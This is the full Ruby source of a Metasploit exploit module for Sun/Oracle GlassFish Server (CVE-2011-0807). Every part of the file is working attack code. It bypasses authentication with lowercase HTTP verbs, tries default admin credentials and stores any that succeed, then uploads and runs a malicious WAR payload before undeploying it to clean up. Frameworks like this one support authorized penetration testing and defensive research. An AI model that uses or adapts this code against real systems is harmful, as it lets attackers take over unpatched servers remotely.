##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Sun/Oracle GlassFish Server Authenticated Code Execution",
      'Description'    => %q{
          This module logs in to an GlassFish Server 3.1 (Open Source or Commercial)
        instance using a default credential, uploads, and executes commands via deploying
        a malicious WAR.  On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x
        this module will try to bypass authentication instead by sending lowercase HTTP verbs.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          #Msf module for Glassfish 3.0
          'juan vazquez',
          #Msf module for Glassfish 3.1, 2.x and Sun Java System Application Server 9.1
          'Joshua Abraham <jabra[at]rapid7.com>',
          #Rewrite for 3.0, 3.1 (Commercial or Open Source)
          'sinn3r',
        ],
      'References'     =>
        [
          ['CVE', '2011-0807'],
          ['OSVDB', '71948'],
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [
            'Java Universal',
            {
              'Arch'     => ARCH_JAVA,
              'Platform' => 'java',
            },
          ],
          #
          # platform specific targets only
          #
          [
            'Windows Universal',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'win',
            },
          ],
          #
          # platform specific targets only
          #
          [
            'Linux Universal',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux',
            },
          ],
        ],
      'DisclosureDate' => "Aug 4 2011",
      'DefaultTarget'  => 0))

      register_options(
        [
          Opt::RPORT(4848),
          OptString.new('APP_RPORT',[ true,  'The Application interface port', '8080']),
          OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
          OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]),
          OptString.new('PATH', [ true,  "The URI path of the GlassFish Server", '/'])
        ], self.class)
  end

  #
  # Send GET or POST request, and return the response
  #
  def send_request(path, method, session='', data=nil, ctype=nil)

    headers = {}
    headers['Cookie'] = "JSESSIONID=#{session}" if session != ''
    headers['Content-Type'] = ctype if ctype != nil

    res = send_request_raw({
      'uri'     => path,
      'method'  => method,
      'data'    => data,
      'headers' => headers,
    }, 90)

    return res
  end

  #
  # Return target
  #
  def auto_target(session, res, version)
    print_status("Attempting to automatically select a target...")

    res = query_serverinfo(session,version)
    return nil if not res
    return nil if not res.body

    plat = detect_platform(res.body)
    arch = detect_arch(res.body)

    # No arch or platform found?
    return nil if (not arch or not plat)

    # see if we have a match
    targets.each do |t|
      return t if (t['Platform'] == plat) and (t['Arch'] == arch)
    end

    # no matching target found
    return nil
  end

  #
  # Return platform (win, linux, or osx)
  #
  def detect_platform(body)
    body.each_line do |ln|
      ln.chomp!
      case ln
      when /os\.name = (.*)/
        os = $1
        case os
        when /Windows/
          return 'win'
        when /Linux/
          return 'linux'
        when /Mac OS X/
          return 'osx'
        end
      end
    end

    return 'java'
  end

  #
  # Return ARCH
  #
  def detect_arch(body)
    body.each_line do |ln|
      ln.chomp!
      case ln
      when /os\.arch = (.*)/
        ar = $1
        case ar
        when 'x86', 'i386', 'i686'
          return ARCH_X86
        when 'x86_64', 'amd64'
          return ARCH_X86
        end
      end
    end
  end

  #
  # Return server information
  #
  def query_serverinfo(session,version)
    res = ''

    if version == '2.x' or version == '9.x'
      path = "/appServer/jvmReport.jsf?instanceName=server&pageTitle=JVM%20Report"
      res = send_request(path, @verbs['GET'], session)
    else
      path = "/common/appServer/jvmReport.jsf?pageTitle=JVM%20Report"
      res = send_request(path, @verbs['GET'], session)

      if ((not res) or (res.code != 200) or (res.body !~ /Operating System Information/))
        path = "/common/appServer/jvmReport.jsf?reportType=summary&instanceName=server"
        res = send_request(path, @verbs['GET'], session)
      end
    end

    if (not res) or (res.code != 200)
      print_error("Failed: Error requesting #{path}")
      return nil
    end

    return res
  end

  #
  # Return viewstate and entry before deleting a GlassFish application
  #
  def get_delete_info(session, version, app='')
    if version == '2.x' or version == '9.x'
      path = '/applications/webApplications.jsf'
      res = send_request(path, @verbs['GET'], session)

      if (not res) or (res.code != 200)
        print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
        return nil
      end

      input_id = "javax.faces.ViewState"
      p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(j_id\d+:j_id\d+)"/
      viewstate = res.body.scan(p)[0][0]

      entry = nil
      p = /<a id="(.*)col1:link" href="\/applications\/webApplicationsEdit.jsf.*appName=(.*)">/
      results = res.body.scan(p)

      results.each do |hit|
        if hit[1] =~ /^#{app}/
          entry = hit[0]
          entry << "col0:select"
        end
      end

    else
      path = '/common/applications/applications.jsf?bare=true'
      res = send_request(path, @verbs['GET'], session)

      if (not res) or (res.code != 200)
        print_error("Failed (#{res.code.to_s}): Error requesting #{path}")
        return nil
      end

      input_id = "javax.faces.ViewState"
      p = /input type="hidden" name="#{input_id}" id="#{input_id}" value="(.*)" autocomplete="off"/
      viewstate = res.body.scan(p)[0][0]

      entry = nil
      p = /<a id="(.*)col1:link" href="\/common\/applications\/applicationEdit.jsf.*appName=(.*)">/
      results = res.body.scan(p)

      results.each do |hit|
        if hit[1] =~ /^#{app}/
          entry = hit[0]
          entry << "col0:select"
        end
      end
    end

    if (viewstate.nil?)
      print_error("Failed: Error getting ViewState")
      return nil
    elsif (entry.nil?)
      print_error("Failed: Error getting the entry to delete")
    end

    return viewstate, entry
  end

  #
  # Send an "undeploy" request to Glassfish and remove our backdoor
  #
  def undeploy(viewstate, session, entry)
    #Send undeployment request
    data  = [
    "propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_list=",
    "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Afilter_submitter=false",
    "&#{Rex::Text.uri_encode(entry)}=true",
    "&propertyForm%3AhelpKey=ref-applications.html",
    "&propertyForm_hidden=propertyForm_hidden",
    "&javax.faces.ViewState=#{Rex::Text.uri_encode(viewstate)}",
    "&com_sun_webui_util_FocusManager_focusElementId=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.source=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.partial.execute=%40all",
    "&javax.faces.partial.render=%40all",
    "&bare=true",
    "&propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1=propertyForm%3AdeployTable%3AtopActionsGroup1%3Abutton1",
    "&javax.faces.partial.ajax=true"
    ].join()

    path  = '/common/applications/applications.jsf'
    ctype = 'application/x-www-form-urlencoded'

    res   = send_request(path, @verbs['POST'], session, data, ctype)
    if (not res)
      print_error("Undeployment failed on #{path} - No Response")
    else
      if res.code < 200 or res.code >= 300
        print_error("Undeployment failed on #{path} - #{res.code.to_s}:#{res.message.to_s}")
      end
    end
  end

  #
  # Return GlassFish's edition (Open Source or Commercial) and version (2.x, 3.0, 3.1, 9.x) and
  # banner (ex: Sun Java System Application Server 9.x)
  #
  def get_version(res)
    #Extract banner from response
    banner = res.headers['Server']

    #Default value for edition and glassfish version
    edition = 'Commercial'
    version = 'Unknown'

    #Set edition (Open Source or Commercial)
    p = /(Open Source|Sun GlassFish Enterprise Server|Sun Java System Application Server)/
    edition = 'Open Source' if banner =~ p

    #Set version.  Some GlassFish servers return banner "GlassFish v3".
    if banner =~ /(GlassFish Server|Open Source Edition) (\d\.\d)/
      version = $2
    elsif banner =~ /GlassFish v(\d)/ and version.nil?
      version = $1
    elsif banner =~ /Sun GlassFish Enterprise Server v2/ and version.nil?
      version = '2.x'
    elsif banner =~ /Sun Java System Application Server 9/ and version.nil?
      version = '9.x'
    end

    if version == nil or version == 'Unknown'
      print_status("Unsupported version: #{banner}")
    end

    return edition, version, banner
  end

  #
  # Return the formatted version of the POST data
  #
  def format_2_x_war(boundary,name,value=nil, war=nil)
    data = ''

    data << boundary
    data << "\r\nContent-Disposition: form-data; name=\"form:title:sheet1:section1:prop1:fileupload\"; "
    data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
    data << war
    data << "\r\n"

    return data
  end

  #
  # Return the formatted version of the POST data
  #
  def format(boundary,name,value=nil, war=nil)
    data = ''

    if war
      data << boundary
      data << "\r\nContent-Disposition: form-data; name=\"form:sheet1:section1:prop1:fileupload\"; "
      data << "filename=\"#{name}.war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
      data << war
      data << "\r\n"
    else
      data << boundary
      data << "\r\nContent-Disposition: form-data; name=\"#{name}\""
      data << "\r\n\r\n"
      data << "#{value}\r\n"
    end

    return data
  end

  #
  # Return POST data and data length, based on GlassFish edition
  #
  def get_upload_data(opts = {})
    boundary = opts[:boundary]
    version = opts[:version]
    war = opts[:war]
    app_base = opts[:app_base]
    typefield = opts[:typefield]
    status_checkbox = opts[:status_checkbox]
    start = opts[:start]
    viewstate = opts[:viewstate]

    data = ''

    if version == '3.0'

      uploadParam_name = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadparam_data = "form:sheet1:section1:prop1:fileupload"

      boundary = "--#{boundary}"

      data = [
        format(boundary, app_base, nil, war),
        format(boundary, uploadParam_name, uploadparam_data),
        format(boundary, "form:sheet1:section1:prop1:extension", ".war"),
        format(boundary, "form:sheet1:section1:prop1:action", "client"),
        format(boundary, typefield, "war"),
        format(boundary, "form:war:psection:cxp:ctx", app_base),
        format(boundary, "form:war:psection:nameProp:appName", app_base),
        format(boundary, "form:war:psection:vsProp:vs", ""),
        format(boundary, status_checkbox, "true"),
        format(boundary, "form:war:psection:librariesProp:library", ""),
        format(boundary, "form:war:psection:descriptionProp:description", ""),
        format(boundary, "form_hidden", "form_hidden"),
        format(boundary, "javax.faces.ViewState", viewstate),
        "#{boundary}--"
      ].join()
    elsif version == '2.x' or version == '9.x'

      uploadParam_name = "form:title:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadParam_data = "form:title:sheet1:section1:prop1:fileupload"

      focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
      focusElementId_data = 'form:title:topButtons:uploadButton'

      boundary = "-----------------------------#{boundary}"

      data = [
        format_2_x_war(boundary, app_base, nil, war),
        format(boundary, "form:title:sheet1:section1:type:appType", "webApp"),
        format(boundary, "uploadRdBtn", "client"),
        format(boundary, uploadParam_name, uploadParam_data),
        format(boundary, "form:title:sheet1:section1:prop1:extension", ".war"),
        format(boundary, "form:title:ps:psec:nameProp:appName", app_base),
        format(boundary, "form:title:ps:psec:cxp:ctx", app_base),
        format(boundary, "form:title:ps:psec:vsp:vs", ""),
        format(boundary, status_checkbox, "true"),
        format(boundary, "form:title:ps:psec:librariesProp:library", ""),
        format(boundary, "form:title:ps:psec:threadpoolProp:threadPool", ""),
        format(boundary, "form:title:ps:psec:registryProp:registryType", ""),
        format(boundary, "form:title:ps:psec:descriptionProp:description", ""),
        format(boundary, "form:helpKey", "uploaddev.html"),
        format(boundary, "form_hidden", "form_hidden"),
        format(boundary, "javax.faces.ViewState", viewstate),
        format(boundary, focusElementId_name, focusElementId_data),
        "#{boundary}--"
      ].join()
    else

      boundary = "-----------------------------#{boundary}"

      #Setup dynamic arguments
      num1 = start.to_i
      num2 = num1 + 14
      num3 = num2 + 2
      num4 = num3 + 2
      num5 = num4 + 2
      num6 = num5 + 2
      num7 = num6 + 1

      id0 = num4
      id1 = num4 + 1
      id2 = num4 + 2
      id3 = num4 + 3
      id4 = num4 + 4
      id5 = num4 + 5
      id6 = num4 + 6
      id7 = num4 + 7
      id8 = num4 + 8
      id9 = num4 + 9

      uploadParam_name  = "form:sheet1:section1:prop1:fileupload_com.sun.webui.jsf.uploadParam"
      uploadParam_value = "form:sheet1:section1:prop1:fileupload"

      focusElementId_name = "com_sun_webui_util_FocusManager_focusElementId"
      focusElementId_data = "form:title2:bottomButtons:uploadButton"

      data = [
        format(boundary,"uploadRdBtn","client"),
        ## web service
        format(boundary, app_base, nil, war),
        ## sheet1
        format(boundary, uploadParam_name, uploadParam_value),
        format(boundary,"form:sheet1:section1:prop1:extension",".war"),
        format(boundary,"form:sheet1:section1:prop1:action","client"),
        format(boundary,"form:sheet1:sun_propertySheetSection#{num1.to_s}:type:appType","war"),
        format(boundary,"form:appClient:psection:nameProp:appName","#{app_base}"),
        format(boundary,"form:appClient:psection:descriptionProp:description"),
        ## war
        format(boundary,"form:war:psection:cxp:ctx","#{app_base}"),
        format(boundary,"form:war:psection:nameProp:appName","#{app_base}"),
        format(boundary,"form:war:psection:vsProp:vs"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id1.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id2.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id3.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id4.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id5.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id6.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id7.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id8.to_s,"true"),
        format(boundary,"form:war:psection:enableProp:sun_checkbox" + id9.to_s,"true"),
        format(boundary,"form:war:psection:librariesProp:library"),
        format(boundary,"form:war:psection:descriptionProp:description"),
        format(boundary,"form_hidden","form_hidden"),
        format(boundary,"javax.faces.ViewState","#{viewstate}"),
        format(boundary, focusElementId_name, focusElementId_data)
      ].join()

      item_list_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_item_list"
      item_list_data = "|server|com.sun.webui.jsf.separator|"

      item_value_name = "form:targetSection:targetSectionId:addRemoveProp:commonAddRemove_list_value"
      item_value_data = "server"

      data << format(boundary, item_list_name, item_list_data)
      data << format(boundary, item_value_name, item_value_data)
      data << "#{boundary}--"
      data << "\r\n\r\n"

    end

    return data
  end

  #
  # Upload our payload, and execute it.  This function will also try to automatically
  # clean up after itself.
  #
  def upload_exec(opts = {})
    session = opts[:session]
    app_base = opts[:app_base]
    jsp_name = opts[:jsp_name]
    war = opts[:war]
    edition = opts[:edition]
    version = opts[:version]

    if version == '2.x' or version == '9.x'
      path = "/applications/upload.jsf?appType=webApp"
      res = send_request(path, @verbs['GET'], session)

      #Obtain some properties
      begin
        p1 = /id="javax\.faces\.ViewState" value="(j_id\d{1,5}:j_id\d{1,5})"/mi
        p2 = /input type="checkbox" id="form:title:ps:psec:enableProp:sun_checkbox\d+" name="(.*)" checked/mi
        viewstate       = res.body.scan(p1)[0][0]
        status_checkbox = res.body.scan(p2)[0][0]
        boundary        = rand_text_alphanumeric(28)
      rescue
        print_error("Unable to gather required data for file upload")
        return
      end
    else
      path = "/common/applications/uploadFrame.jsf"
      res = send_request(path, @verbs['GET'], session)

      #Obtain some properties
      begin
        #start is only for dynamic arguments in POST data
        res.body =~ /propertySheetSection(\d{3})/
        start = $1
        p1 = /"javax\.faces\.ViewState" value="(-?\d+:-?\d+)"/mi
        p2 = /select class="MnuStd_sun4" id="form:sheet1:sun_propertySheetSection.*:type:appType" name="(.*)" size/
        p3 = /input type="checkbox" id="form:war:psection:enableProp:sun_checkbox.*" name="(.*)" checked/

        rnd_text = rand_text_alphanumeric(29)

        viewstate       = res.body.scan(p1)[0][0]
        typefield       = res.body.scan(p2)[0][0]
        status_checkbox = res.body.scan(p3)[0][0]
        boundary        = (edition == 'Open Source') ? rnd_text[0,15] : rnd_text
      rescue
        print_error("Unable to gather required data for file upload")
        return
      end
    end

    #Get upload data
    if version == '3.0'
      ctype = "multipart/form-data; boundary=#{boundary}"
    elsif version == '2.x' or version == '9.x'
      ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
      typefield = ''
      start = ''
    else
      ctype = "multipart/form-data; boundary=---------------------------#{boundary}"
    end

    post_data = get_upload_data({
      :boundary => boundary,
      :version => version,
      :war => war,
      :app_base => app_base,
      :typefield => typefield,
      :status_checkbox => status_checkbox,
      :start => start,
      :viewstate => viewstate
    })

    #Upload our payload
    if version == '2.x' or version == '9.x'
      path = '/applications/upload.jsf?form:title:topButtons:uploadButton=%20%20OK%20%20'
    else
      path  = '/common/applications/uploadFrame.jsf?'
      path << 'form:title:topButtons:uploadButton=Processing...'
      path << '&bare=false'
    end
    res  = send_request(path, @verbs['POST'], session, post_data, ctype)

    #Print upload result
    if res and res.code == 302
      print_status("Successfully uploaded")
    else
      print_error("Error uploading #{res.code}")
      return
    end

    #Execute our payload using the application interface (no need to use auth bypass technique)
    jsp_path = "/" + app_base + "/" + jsp_name + ".jsp"
    nclient = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['APP_RPORT'],
      {
        'Msf'        => framework,
        'MsfExploit' => self,
      }
    )

    print_status("Executing #{jsp_path}...")
    req = nclient.request_raw({
      'uri'     => jsp_path,
      'method'  => 'GET',
    })

    if (req)
      res = nclient.send_recv(req, 90)
    else
      print_status("Error: #{rhost} did not respond on #{app_rport}.")
    end

    #Sleep for a bit before cleanup
    select(nil, nil, nil, 5)

    #Start undeploying
    print_status("Getting information to undeploy...")
    viewstate, entry = get_delete_info(session, version, app_base)
    if (not viewstate)
      fail_with(Failure::Unknown, "Unable to get viewstate")
    elsif (not entry)
      fail_with(Failure::Unknown, "Unable to get entry")
    end

    print_status("Undeploying #{app_base}...")
    undeploy(viewstate, session, entry)

    print_status("Undeployment complete.")
  end

  #
  # Try to login to Glassfish with a credential, and return the response
  #
  def try_login(user, pass)
    data  = "j_username=#{Rex::Text.uri_encode(user.to_s)}&"
    data << "j_password=#{Rex::Text.uri_encode(pass.to_s)}&"
    data << "loginButton=Login"

    path = '/j_security_check'
    res = send_request(path, @verbs['POST'], '', data, 'application/x-www-form-urlencoded')

    return res
  end

  def log_success(user = "", pass = "")
    service_data = {
      address: Rex::Socket.getaddress(rhost, true),
      port: rport,
      protocol: "tcp",
      service_name: ssl ? "https" : "http",
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: self.fullname,
      username: user,
      private_data: pass,
      private_type: :password
    }

    credential_core = create_credential(credential_data.merge(service_data))

    login_data = {
      core: credential_core,
      access_level: "Admin",
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      last_attempted_at: DateTime.now
    }

    create_credential_login(login_data.merge(service_data))
  end

  def try_default_glassfish_login(version)
    if version == '2.x' or version == '9.x'
      user = 'admin'
      pass = 'adminadmin'
    else
      user = 'admin'
      pass = ''
    end

    return try_glassfish_login(version,user,pass)
  end

  def try_glassfish_login(version,user,pass,type='default')
    success = false
    session = ''
    res = ''
    if version == '2.x' or version == '9.x'
      print_status("Trying #{type} credentials for GlassFish 2.x #{user}:'#{pass}'....")
      res = try_login(user,pass)
      if res and res.code == 302
        session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i
        res = send_request('/applications/upload.jsf', 'GET', session)

        p = /<title>Deploy Enterprise Applications\/Modules/
        if (res and res.code.to_i == 200 and res.body.match(p) != nil)
          success = true
        end
      end

    else
      print_status("Trying #{type} credentials for GlassFish 3.x #{user}:'#{pass}'....")
      res = try_login(user,pass)
      if res and res.code == 302
        session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i
        res = send_request('/common/applications/uploadFrame.jsf', 'GET', session)

        p = /<title>Deploy Applications or Modules/
        if (res and res.code.to_i == 200 and res.body.match(p) != nil)
          success = true
        end
      end
    end

    if success == true
      print_good("#{my_target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'")
      log_success(user,pass)
    else
      msg = "#{my_target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'"
      print_error(msg)
    end

    return success, res, session
  end


  def try_glassfish_auth_bypass(version)
    print_status("Trying GlassFish authentication bypass..")
    success = false

    if version == '2.x' or version == '9.x'
      res = send_request('/applications/upload.jsf', 'get')
      p = /<title>Deploy Enterprise Applications\/Modules/
      if (res and res.code.to_i == 200 and res.body.match(p) != nil)
        success = true
      end
    else
      # 3.0
      res = send_request('/common/applications/uploadFrame.jsf', 'get')
      p = /<title>Deploy Applications or Modules/
      if (res and res.code.to_i == 200 and res.body.match(p) != nil)
        success = true
      end
    end

    if success == true
      print_good("#{my_target_host} - GlassFish - SUCCESSFUL authentication bypass")
      log_success
    else
      print_error("#{my_target_host()} - GlassFish - Failed authentication bypass")
    end

    return success
  end

  def my_target_host
    path        = normalize_uri(datastore['PATH'])
    my_target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
  end

  def exploit
    user        = datastore['USERNAME']
    pass        = datastore['PASSWORD']
    path        = datastore['PATH']
    my_target_host = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}"
    success     = false
    session     = ''
    edition     = ''
    version     = ''

    #Invoke index to gather some info
    res = send_request('/common/index.jsf', 'GET')

    #If we get a bad connection, we'd rather not try
    if res.nil?
      print_error("Unable to get a response from the server")
      return
    end

    if res.code == 302
      res = send_request('/login.jsf', 'GET')
    end

    #Get GlassFish version
    edition, version, banner = get_version(res)
    print_status("Glassfish edition: #{banner}")

    #Get session
    res.get_cookies =~ /JSESSIONID=(.*); /
    session = $1

    #Set HTTP verbs.  lower-case is used to bypass auth on v3.0
    @verbs = {
      'GET'  => (version == '3.0' or version == '2.x' or version == '9.x') ? "get" : 'GET',
      'POST' => (version == '3.0' or version == '2.x' or version == '9.x') ? 'post' : 'POST',
    }

    #auth bypass
    if version == '3.0' or version == '2.x' or version == '9.x'
      success = try_glassfish_auth_bypass(version)
    end

    #BUG caused us to skip default cred checks on sun applicaiton server 9.x
    if success == false and version != '9.x'
      #default credentials
      success,res,session_login = try_default_glassfish_login(version)

      if success == false
        if (
          ( (version == '2.x' ) and (user != 'admin' or pass != 'adminadmin') )  or
          ( (version =~ /^3\./) and (user != 'admin' or pass != '') )
        )
          #non-default login
          success,res,session_login = try_glassfish_login(version,user,pass,'non-default')
        end
      end
    end

    #Start attacking
    if success
      session = session_login if (session_login =~ /\w+/)
      #Set target
      mytarget = target
      mytarget = auto_target(session, res, version) if mytarget.name =~ /Automatic/
      fail_with(Failure::NoTarget, "Unable to automatically select a target") if (not mytarget)

      #Generate payload
      p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)

      jsp_name = rand_text_alphanumeric(4+rand(32-4))
      app_base = rand_text_alphanumeric(4+rand(32-4))

      war = p.encoded_war({
        :app_name    => app_base,
        :jsp_name    => jsp_name,
        :arch        => mytarget.arch,
        :platform    => mytarget.platform
      }).to_s

      #Upload, execute, cleanup, winning
      print_status("Uploading payload...")
      res = upload_exec({
        :session => session,
        :app_base => app_base,
        :jsp_name => jsp_name,
        :war => war,
        :edition => edition,
        :version => version
      })
    else
      print_error("#{my_target_host()} - GlassFish - Failed to authenticate login")
    end

  end
end
